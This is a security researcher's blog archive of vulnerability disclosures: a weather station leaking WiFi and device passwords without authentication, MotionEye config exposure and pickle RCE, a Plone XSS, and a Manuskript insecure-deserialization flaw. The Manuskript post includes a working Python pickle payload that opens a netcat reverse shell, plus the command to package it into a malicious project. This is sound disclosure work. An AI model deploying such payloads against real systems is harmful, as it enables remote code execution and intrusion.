Category Archives: CVE

The Incredibly Insecure Weather Station – Part 2

Edit: The weather station issues were given CVE-2022-35122.

I contacted the manufacturer in regards to these issues. They responded quickly. I wasn’t expecting anything to be done about the issues that I brought up, but they did do something…

I logged into my weather station yesterday, an lo and behold, there is an update. Most notably the following, “added password encryption for HTTP transmission.”

Screenshot from the app itself showing the update notes.

Encryption for the password during HTTP transmission? What does this even mean? HTTPS? Why wouldn’t they just say HTTPS? Just encrypting the password client side and sending it to the station for decryption? That seems odd. I was hoping for HTTPS, but I would soon be let down.

curl request from before and after the ‘upgrade’

Before updating, I decided to try and make the curl request as I had done before to the get_device_info endpoint. As before, the password to the system was returned.

Next, I upgraded the device and then made the same request. Would you look at that, the APpwd now does look ‘encrypted.’ But, as you may have guessed, it is actually just base 64 encoded.

V2VhdGhlcjI0Njg5 –> Weather24689

bae64 decoding

Or, using jq, you can do this all on the CLI.

I think this is a losing battle.

The Incredibly Insecure Weather Station

Edit: This was given CVE-2022-35122.

I recently purchased the ECOWITT GW1102 Home Weather Station. It’s exactly what it sounds like – a mini weather station for your house. It has all the usual sensors you’d expect a weather station to have, and I’m actually very pleased with the hardware, considering the cheap price.

However, it is missing one thing – software security. But really, what did I expect from a cheap home weather station?

Comically, the landing page of the weather station’s server gives an illusion of some sort of security.

Password goes here.

Let’s intercept a request of us logging in.

Don’t steal my password.

This is all over HTTP. We post our password to /set_login_info – which seems like an odd endpoint for logging in. Notice the response does not set any cookies or seem like it actually does any sort of verification. Hmmm.

Anyway, after logging in, we are directed to /liveData.html. This page does exactly what its name implies. But let’s look at the links on the side of the page – particularly the Local Network link.

Click the Local Network link on the left-hand side.

If we intercept the requests in Burp after we click the Local Network link, we see a call to a /get_network_info endpoint. This returns info about the WiFi network to which the weather station is connected.

That’s my WiFi SSID and password.

Interesting. Notice again that there appears to be no authentication going on with this request. Let’s try to curl this endpoint

Uh oh.

Or how about the device password (not that you actually need the password now).

The password is now Weather24689 because I changed it without being authorized.

You can also do fun things like reboot the station, or get the user’s external weather reporting site’s API keys, etc. I notified ECOWITT support, but I’m assuming this won’t be fixed any time soon.

Edit: added this because someone didn’t understand this is an issue.

Edit: I added this picture above of the get_ws_settings endpoint. As you can see, I’m not using any authentication. You can also see I was trying some shenanigans, but nonetheless, you can also see this returns several API keys for other services, which is not a good thing to be handing out. It basically is the API endpoint for this page that is behind the ‘authentication’ of the application.

I did find some of these exposed to the internet, but I’d probably avoid that, if I were you. With that said, I actually like the hardware. It’s fun to play around with, and it is inexpensive.

MotionEye Config Info Disclosure

Edit: This was given CVE-2022-25568. As mentioned in my previous posts here and here, I’ve done a little digging into the conditions that are required for the MotioneEye config file to be world viewable, and I’ve reached this conclusion:

As long as a “user” password is not set, the config file will be world readable. Even if an “admin” password has been set, the /config/list file will still be readable by everybody. So, while someone could think they are doing the correct thing by creating a password for the admin user, they may still be leaking private information. Here is a innocuous example from a live instance:

As you can see in this picture, IP addresses/services/passwords are exposed. This is a rather innocuous example, being that it is an internal IP address, but it illustrates how this could be an issue. Imagine if those were your public FTP server credentials. Or if they were your gmail credentials for smtp notifications. The list goes on.

Along with usernames, passwords, auth keys, and email addresses, these config files also contain less sensitive information like internal network IP addresses and URLs, drive and mounting information.

In many ways this vulnerability may be worse that the MotionEye RCE vulnerability that I reported and received a CVE for. In that case, the admin password needed to be left blank (or easily guessed) for someone to get into the admin panel and achieve RCE. In this case, a user could think they’re being secure by setting an admin password, but they leave the user password blank – and the config remains viewable.

I’ve found gmail, gdrive, ftp, sftp, telegram stuff (not sure how auth works there), etc. all exposed to the WWW in these files.

I’ve submitted an issue on the MotionEye github page, but if it is anything like last time, they don’t plan on fixing it/see it as a non-issue.

Edit: The issue was closed before I even finished this post.

Edit: The issue was reopened and I submitted a pull request to fix the issue, although my fix was not tested much, so it may not work properly.

Update: Hacking MotionEye – CVE-2021-44255

I was given CVE-2021-44255 for this – authenticated RCE via a malicious tasks (python pickle) file. So that’s fun. Even though it is authenticated, the default username is admin and the default password is blank, so you know how these things go. I actually haven’t heard of any MotionEye instances being used in botnets or anything.

I should probably request a CVE for the unauthenticated information disclosure that I found, but I need to do some more research on that one.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44255

https://nvd.nist.gov/vuln/detail/CVE-2021-44255

Learning Go By Writing a POC for Gitlab CVE-2021-22205

I’ve been wanting to learn Go, and I learn by doing, so I decided to write a POC for CVE-2021-22205, which is fairly straightforward RCE in Gitlab that dropped a few weeks ago. My process in developing this went like this.

  1. Do thirty seconds of research to find a prior Golang POC for this CVE. I didn’t find one, but I’m sure they exist somewhere. I still would have written this, even if I found one. It would make for something to compare my poorly written code to.
  2. Start writing code. My thoughts the whole time while I was writing this were some variation of the following, “There must be a better way to do this.”
  3. Test.
  4. Rewrite.
  5. Repeat above for about 6 hours.
  6. Success!

I’m going to need more practice. I’ve been so used to python for the last ten years, moving to Golang is going to take some work.

Anyway, here is a link to my POC.

CVE-2021-35959 Stored XSS in Folder Contents on Plone 5-5.2.4

I’ve been testing some new Python-based CMSs and CMS-like software. I’ve heard of Plone before, but I never had a chance to check it out until now. I was a couple of days into my experimenting when I ran across this issue.

I have to say, the Plone team’s response was great. I got an almost immediate response from the security team, and a hotfix was pushed less than a week later.

Please see the following links for more information.

Arbitrary Code Execution in Manuskript < 0.12

Edit: A pull request has been submitted to remove this functionality and to depricate the old pickled settings, which is a wise security decision.

Edit: This vulnerability has been assigned CVE-2021-35196. It’s currently listed as disputed, even though it is definitely a vulnerability.

I was searching for an alternative to Scrivener to write my future nobel prize winning novel and ran across Manuskript. It looked promising. I found out that it was open-source and on github – which is always cool.

I decided to clone it and take a look at it. It’s written in Python, so that is good for me. It’s probably the language I’m most comfortable in these days.

I started checking out the code and I immediately noticed that pickle was imported in settings.py. The first thing that should come to mind to any security researcher worth their salt is insecure deserialization via the pickle.loads() and pickle.load() functions.

Sure enough, in settings.py, I noticed on lines 190 and 191, it looks like the program’s settings are loaded via pickle.loads() and pickle.load(), respectively. Now, I just had to figure out how to get to that point in the code.

It turns out that this wasn’t overly tough and it would simply involve loading a project that contains a malicious settings.pickle file. In loadSave.py, the function loadProject() on line 30 is responsible for doing exactly what you think it is supposed to do. You will notice in this function that it checks to see if the project is a zip file, but the project does not have to be a zip file.

I used a zip file in my exploit because that would probably be what is used in a realistic exploitation scenario. e.g. I send a malicious project to a co-writer, editor, publisher, etc. or I post a sample project of some sort online for others to use.

After the function determines if the project is a zip file or not, it checks the version of the project. This is where you need to do a small amount of work to exploit the insecure deserialization. It turns out that Manuskript has two versions of settings, version 0 and version 1. Version 0 is the one that uses the pickle module to deserialize the settings.

In order to force the program into the insecure deserialization, we just have to have a zip file without a MANUSKRIPT text file or a VERSION text file in the project and the project number will default to 0, which is what we want.

Now, onto the exploit. There are many references to insecure deserialization online, so google them if you aren’t familiar, but here is the code I used on Ubuntu 20.04 to generate a reverse shell to localhost port 1234. This payload can easily be modified to do anything you want it to do on Linux, Mac, and/or Windows. When this code is ran, it outputs a malicious settings.pickle file, which we will include in the project.

#!/usr/bin/env python3

import pickle
import os


class EvilPickle(object):
    def __reduce__(self):
       	cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)


pickle_data = pickle.dumps(EvilPickle())
with open("settings.pickle", "wb") as file:
    file.write(pickle_data)

After the settings.pickle file is output, simply zip it up:

zip malicious-project.zip settings.pickle

And now you have a malicious-project.zip file that you simply load into Manuskript.

I notified the people involved and they don’t have intentions to fix this issue. They are currently refactoring the project and the deserialization code may be removed altogether.